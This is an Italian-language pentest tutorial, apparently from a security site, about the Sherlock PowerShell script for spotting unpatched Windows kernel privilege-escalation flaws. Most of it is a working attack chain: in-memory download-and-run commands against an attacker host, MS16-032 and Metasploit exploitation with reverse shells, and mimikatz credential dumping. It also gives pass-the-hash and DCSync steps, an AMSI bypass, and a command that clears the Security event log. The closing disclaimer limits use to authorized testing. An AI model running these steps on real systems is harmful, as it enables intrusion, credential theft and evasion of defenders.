Sherlock: Automated Windows Privilege Escalation Checker

Sherlock identifica vulnerabilità di privilege escalation su Windows confrontando patch installate e CVE note. Tool rapido per local privesc discovery.
- Pubblicato il 2026-02-25
- Tempo di lettura: 5 min
Sherlock è uno script PowerShell progettato per identificare rapidamente vulnerabilità note del kernel Windows che possono essere sfruttate per privilege escalation. Analizza il livello di patch del sistema e verifica la presenza di CVE exploitabili con tool pubblici. Quando hai bisogno di escalation veloce senza enumeration complessa, Sherlock è il tool giusto. In questa guida impari a identificare e sfruttare vulnerabilità kernel per ottenere SYSTEM.
Posizione nella Kill Chain #
Sherlock interviene quando cerchi un path diretto verso SYSTEM via kernel exploit:
Initial Access → Enumeration base → [SHERLOCK] → Kernel Exploit Identification → Exploitation → SYSTEM1️⃣ Setup e Installazione #
Download #
# Clone repository
git clone https://github.com/rasta-mouse/Sherlock.git
# Download diretto
wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1Trasferimento su Target #
# Download in memoria (raccomandato)
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50/Sherlock.ps1')
# Via certutil
certutil -urlcache -split -f http://192.168.1.50/Sherlock.ps1 C:\Windows\Temp\sh.ps1Verifica Funzionamento #
powershell -ep bypass
Import-Module .\Sherlock.ps1
Find-AllVulnsOutput atteso:
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
...Requisiti #
- PowerShell 2.0+
- Funziona come user standard
- Windows 7+ / Server 2008+
- Nessuna dipendenza esterna
2️⃣ Uso Base #
Esecuzione Standard #
Import-Module .\Sherlock.ps1
Find-AllVulnsVerifica tutte le vulnerabilità note nel database.
Vulnerabilità Specifiche #
# Controlla solo MS15-051
Find-MS15051
# Controlla solo MS16-032
Find-MS16032
# Controlla solo CVE-2019-1405
Find-CVE20191405Output Interpretation #
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears VulnerableVulnStatus: Appears Vulnerable indica che il sistema potrebbe essere exploitabile.
3️⃣ Tecniche Operative #
Identificazione Vulnerabilità #
# COMANDO
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50/Sherlock.ps1')
Find-AllVulnsOutput tipico su sistema non patchato:
Title : Task Scheduler Service
MSBulletin : MS10-092
CVEID : 2010-3338
Link : https://www.exploit-db.com/exploits/15589/
VulnStatus : Appears Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears VulnerablePrioritizzazione Exploit #
| Vulnerabilità | Affidabilità | Disponibilità Exploit |
|---|---|---|
| MS16-032 | Alta | PowerShell exploit |
| MS15-051 | Alta | Metasploit module |
| MS14-058 | Media | Metasploit module |
| MS10-015 | Media | Compilato |
| MS10-092 | Bassa | Task Scheduler |
Exploitation MS16-032 #
Se Sherlock indica vulnerabile:
# Download exploit
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50/MS16-032.ps1')
# Esegui exploit (spawn cmd as SYSTEM)
Invoke-MS16032Exploitation MS15-051 #
# Via Metasploit
use exploit/windows/local/ms15_051_client_copy_image
set SESSION 1
set LHOST 192.168.1.50
run4️⃣ Tecniche Avanzate #
Integrazione con Metasploit #
# Dopo Sherlock identifica vuln
# In Meterpreter
meterpreter > background
# Usa local exploit suggester
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
# Oppure exploit specifico
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
runCross-Reference con Windows Exploit Suggester #
# Esporta systeminfo dal target
systeminfo > sysinfo.txt
# Analizza con windows-exploit-suggester
python windows-exploit-suggester.py --database 2024-01-15-mssb.xls --systeminfo sysinfo.txtWatson Integration #
Per sistemi più recenti, usa Watson (successore di Sherlock):
# Watson per Windows 10/Server 2016+
Watson.exeWatson copre CVE più recenti non inclusi in Sherlock.
5️⃣ Scenari Pratici di Pentest #
Scenario 1: Quick Kernel PrivEsc Check #
Timeline: 5 minuti
Hai shell limitata, vuoi verificare kernel exploits.
# COMANDO
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50/Sherlock.ps1'); Find-AllVulnsOUTPUT ATTESO #
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
VulnStatus : Appears Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701
VulnStatus : Appears VulnerableCOSA FARE SE FALLISCE #
- Script bloccato: AMSI bypass o usa versione offuscata.
- Tutti “Not Vulnerable”: Sistema patchato. Cerca altri vettori (services, misconfig).
- PowerShell bloccato: Usa Watson (binario) o Windows Exploit Suggester offline.
Scenario 2: MS16-032 Exploitation #
Timeline: 10 minuti
Sherlock indica MS16-032 vulnerable.
# COMANDO: Verifica
Find-MS16032OUTPUT ATTESO #
Title : Secondary Logon Handle
MSBulletin : MS16-032
VulnStatus : Appears Vulnerable# COMANDO: Scarica exploit PowerShell
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50/Invoke-MS16032.ps1')
# COMANDO: Esegui
Invoke-MS16032 -Command "C:\Windows\Temp\shell.exe"OUTPUT ATTESO #
[*] Spawning cmd.exe as SYSTEM...
[+] Process spawned!
# Shell SYSTEM ricevuta sul listener
whoami
nt authority\systemCOSA FARE SE FALLISCE #
- Exploit fallisce: Architettura errata (x86 vs x64). Usa versione corretta.
- Process crash: Sistema instabile. Prova exploit diverso o Metasploit module.
- AV blocca payload: Offusca shell.exe o usa payload fileless.
Scenario 3: Metasploit Automated Exploitation #
Timeline: 15 minuti
# COMANDO: In msfconsole con sessione attiva
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4445
runOUTPUT ATTESO #
[*] Started reverse TCP handler on 192.168.1.50:4445
[*] Launching MS16-032 exploit...
[+] Secondary Logon service is running
[*] Meterpreter session 2 opened
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMCOSA FARE SE FALLISCE #
- Module fails: Verifica SESSION corretta e target vulnerable.
- Service not running: Secondary Logon service disabled. Prova altro exploit.
6️⃣ Toolchain Integration #
Flusso Operativo #
Shell → Sherlock (kernel check) → Exploit Selection → Metasploit/Manual → SYSTEMWorkflow Completo #
# Step 1: Sherlock per identificazione
Find-AllVulns
# Step 2: Se trova vuln, seleziona exploit
# MS16-032 → PowerShell exploit o Metasploit
# MS15-051 → Metasploit module
# MS14-058 → Metasploit module
# Step 3: Exploitation
# ... (vedi scenari sopra)
# Step 4: Post-SYSTEM
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"Confronto: Sherlock vs Alternative #
| Feature | Sherlock | Watson | WES | PEASS |
|---|---|---|---|---|
| Focus | Kernel CVE | Kernel CVE | Tutti CVE | All PrivEsc |
| Tipo | PowerShell | C# | Python (offline) | Multi |
| Windows 10+ | Parziale | ✓ | ✓ | ✓ |
| Execution | On-target | On-target | Offline | On-target |
| Stealth | Medio | Alto | N/A | Basso |
Quando usare Sherlock: Quick check kernel su sistemi legacy (Win7/2008/2012).
Quando usare Watson: Sistemi Windows 10+ per CVE recenti.
7️⃣ Attack Chain Completa #
Scenario: Kernel PrivEsc to Domain Compromise #
Timeline totale: 60 minuti
Fase 1: Initial Access (10 min)
Exploit web app → Low-priv shellFase 2: Kernel Vulnerability Check (5 min)
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50/Sherlock.ps1')
Find-AllVulnsOutput: MS16-032 Appears Vulnerable
Fase 3: Privilege Escalation (10 min)
# Metasploit
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
runRisultato: SYSTEM shell
Fase 4: Credential Harvesting (15 min)
# Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"Output: Domain Admin credentials
Fase 5: Lateral Movement (10 min)
# Pass-the-Hash
psexec.exe \\DC01 -u CORP\admin -p "P@ssw0rd" cmd.exeFase 6: Domain Dominance (10 min)
# DCSync
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt"8️⃣ Detection & Evasion #
Cosa Monitora il Blue Team #
| Indicator | Event/Log | Detection |
|---|---|---|
| PowerShell | 4104 | Script block logging |
| Kernel exploit | System crash/BSOD | Stability issues |
| Token manipulation | 4673/4674 | Privilege use |
| Process spawn SYSTEM | 4688 | Process creation |
Tecniche di Evasion #
1. AMSI Bypass
# Prima di Sherlock
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$a.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)2. Uso Watson invece di Sherlock
Watson è binario C#, meno rilevato di PowerShell script.
3. Exploit Selection
Scegli exploit più stabili e meno rumorosi. MS16-032 è preferibile perché non causa crash.
Cleanup #
Kernel exploits non lasciano file ma possono generare log:
# Clear Security log (se SYSTEM)
wevtutil cl Security9️⃣ Performance & Scaling #
Benchmark #
| Check | Tempo |
|---|---|
| Single vulnerability | ~1 sec |
| Find-AllVulns | ~10 sec |
Limitazioni #
- Non supporta scanning remoto
- Solo vulnerabilità nel database (non aggiornato per CVE recenti)
- Richiede PowerShell sul target
Alternative per Multi-Target #
# Windows Exploit Suggester offline
# Raccogli systeminfo da tutti i target
for t in targets; do
psexec \\$t systeminfo > $t_sysinfo.txt
done
# Analizza batch
python wes.py --database db.xls --systeminfo *.txt🔟 Tabelle Tecniche #
Vulnerabilità Verificate da Sherlock #
| MS Bulletin | CVE | Nome | OS Affected |
|---|---|---|---|
| MS10-015 | 2010-0232 | KiTrap0D | XP, 2003, Vista, 2008, 7 |
| MS10-092 | 2010-3338 | Task Scheduler | Vista, 2008, 7 |
| MS13-053 | 2013-1300 | NTUserMessageCall | XP - 8, 2003-2012 |
| MS14-058 | 2014-4113 | TrackPopupMenu | XP - 8.1, 2003-2012R2 |
| MS15-051 | 2015-1701 | ClientCopyImage | Vista - 8.1, 2008-2012R2 |
| MS15-078 | 2015-2426 | Font Driver | Vista - 8.1, 2008-2012R2 |
| MS16-016 | 2016-0051 | WebDAV | Vista - 10, 2008-2012R2 |
| MS16-032 | 2016-0099 | Secondary Logon | 7 - 10, 2008-2012R2 |
| MS16-034 | 2016-0093 | Win32k | 7 - 10, 2008R2-2012R2 |
Exploit Availability #
| Vulnerabilità | PowerShell | Metasploit | Binary |
|---|---|---|---|
| MS10-015 | ✗ | ✓ | ✓ |
| MS15-051 | ✗ | ✓ | ✓ |
| MS16-032 | ✓ | ✓ | ✓ |
| MS16-034 | ✗ | ✓ | ✓ |
1️⃣1️⃣ Troubleshooting #
Script Bloccato da AMSI #
# AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)“Not Vulnerable” su Tutto #
Sistema patchato. Alternative:
- Usa altri tool (WinPEAS, SharpUp) per misconfig
- Cerca altri vettori (services, scheduled tasks)
- Lateral movement invece di local privesc
Exploit Fallisce #
- Verifica architettura (x86/x64)
- Verifica Windows version esatta
- Prova Metasploit module invece di PowerShell
- Verifica che servizi necessari siano running
PowerShell Bloccato #
Usa Watson (C# binary) o analisi offline con Windows Exploit Suggester.
1️⃣2️⃣ FAQ #
Sherlock è ancora aggiornato?
No, Sherlock non è più mantenuto. Per CVE recenti usa Watson o PEASS.
Funziona su Windows 10?
Parzialmente. Molte vulnerabilità sono patchate. Usa Watson per Win10.
Devo essere admin per usare Sherlock?
No, enumera come user standard. L’exploitation potrebbe richiedere privilegi specifici.
Come scelgo quale exploit usare?
Priorità: MS16-032 (stabile) > MS15-051 > MS14-058. Evita exploit che causano crash.
Sherlock può crashare il sistema?
Sherlock no (solo enumeration). L’exploitation può causare instabilità.
Alternative più recenti?
Watson per C# e CVE recenti, Windows Exploit Suggester per analisi offline.
1️⃣3️⃣ Cheat Sheet #
| Operazione | Comando |
|---|---|
| Import | Import-Module .\Sherlock.ps1 |
| All vulns | Find-AllVulns |
| In-memory | IEX(...); Find-AllVulns |
| MS16-032 | Find-MS16032 |
| MS15-051 | Find-MS15051 |
| MS14-058 | Find-MS14058 |
| AMSI bypass | $a=[Ref].Assembly.GetType('...AmsiUtils')... |
Uso consentito solo in ambienti autorizzati. Per penetration test professionali: hackita.it/servizi. Supporta HackIta: hackita.it/supporto.
Repository: rasta-mouse/Sherlock | Successore: Watson







